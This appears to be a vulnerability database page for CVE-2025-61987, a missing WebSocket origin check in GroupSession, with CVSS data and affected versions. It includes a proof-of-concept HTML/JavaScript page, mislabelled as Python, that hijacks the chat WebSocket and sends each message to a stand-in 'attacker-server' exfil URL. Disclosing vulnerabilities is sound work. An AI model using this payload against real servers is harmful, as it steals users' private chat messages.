Security Vulnerability Report
中文
CVE-2025-61987 CVSS 5.3 MEDIUM

CVE-2025-61987

Published: 2025-12-12 05:16:08
Last Modified: 2026-02-17 15:31:01

Description

GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. do not validate origins in WebSockets. If a user accesses a crafted page, Chat information sent to the user may be exposed.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:* - VULNERABLE
cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:* - VULNERABLE
cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:* - VULNERABLE
GroupSession Free Edition < 5.3.0
GroupSession byCloud < 5.3.3
GroupSession ZION < 5.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61987 PoC: Cross-Site WebSocket Hijacking --> <html> <head> <title>CVE-2025-61987 PoC</title> </head> <body> <h1>CVE-2025-61987 - GroupSession WebSocket Hijacking PoC</h1> <div id="output"></div> <script> // Target GroupSession server URL const targetHost = 'http://target-groupsession-server'; const wsUrl = targetHost.replace('http', 'ws') + '/gsweb/chat/ws'; const output = document.getElementById('output'); function log(message) { output.innerHTML += message + '<br>'; console.log(message); } try { log('[*] Attempting WebSocket connection to: ' + wsUrl); // Create WebSocket connection without origin validation const ws = new WebSocket(wsUrl); ws.onopen = function() { log('[+] WebSocket connection established'); log('[+] User authentication cookie was automatically sent by browser'); log('[+] Chat messages can now be intercepted'); }; ws.onmessage = function(event) { log('[+] Received message: ' + event.data); // Exfiltrate chat data fetch('https://attacker-server/exfil?data=' + encodeURIComponent(event.data)); }; ws.onerror = function(error) { log('[-] WebSocket error occurred'); }; ws.onclose = function() { log('[*] WebSocket connection closed'); }; } catch (e) { log('[-] Error: ' + e.message); } </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61987", "sourceIdentifier": "[email protected]", "published": "2025-12-12T05:16:07.763", "lastModified": "2026-02-17T15:31:00.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. do not validate origins in WebSockets. If a user accesses a crafted page, Chat information sent to the user may be exposed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1385"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:*", "versionEndExcluding": "5.3.0", "matchCriteriaId": "32599C61-0938-49C5-8416-44C3DF7B144A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:*", "versionEndExcluding": "5.3.2", "matchCriteriaId": "46F7CACE-2448-4A90-9192-B6270B33E393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:*", "versionEndExcluding": "5.3.3", "matchCriteriaId": "DD4CD8BC-39CB-44FF-A4D8-22C1B38ED223"}]}]}], "references": [{"url": "https://groupsession.jp/info/info-news/security20251208", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://jvn.jp/en/jp/JVN19940619/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}